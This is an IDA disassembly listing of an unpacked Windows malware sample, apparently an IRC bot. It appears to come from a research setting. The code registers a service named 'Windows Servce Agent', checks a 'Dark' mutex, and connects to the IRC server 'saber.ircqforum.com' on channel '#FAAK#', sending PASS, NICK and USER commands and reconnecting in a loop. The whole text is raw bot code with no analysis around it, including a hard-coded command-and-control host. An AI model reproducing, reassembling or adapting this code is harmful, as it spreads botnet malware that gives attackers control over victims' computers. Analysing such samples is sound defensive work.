;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	0D95F8A6A39196BFF82176EF81CFC0E3

; File Name   :	u:\work\0d95f8a6a39196bff82176ef81cfc0e3_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF58
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAFC8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF08


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF80
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEEC
		call	dword_4CB03C
		call	sub_40B2BF
		call	dword_4CAEFC
		call	dword_4CAEFC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D158
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2650CD2h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D150
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACE0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACE4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB050
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	near ptr 268075Dh
		nop
		push	eax
		call	near ptr 268064Dh
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAF14
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26804F7h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293F4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26803F7h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 268031Dh
		nop


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 2670E77h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 267053Bh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 268031Dh
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D158
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2670E01h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 267087Fh
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293E0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2650CD2h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 267053Bh
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAEFC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB2C4, 2
		jle	short loc_401562
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 268064Dh
		nop
		push	esi
		call	near ptr 265098Ch
		nop
		mov	eax, dword_4DB2C8
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 267053Bh
		nop
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+8]
		nop
		call	near ptr 26707B6h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB074, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D160
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_4293A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2670E77h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429360
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429334
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2670E77h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_429300
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		mov	dword_4CAE58, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD6C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CADAC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE40, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACE8
		mov	dword_4CAE54, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE54, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 267053Bh
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAEFC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEF8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEEC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB03C
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 267053Bh
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293FC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB03C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE50, bl
		jz	short loc_40199A
		push	offset byte_4CAE50
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB03C
		push	1388h
		call	near ptr 267053Bh
		nop


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 267053Bh
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
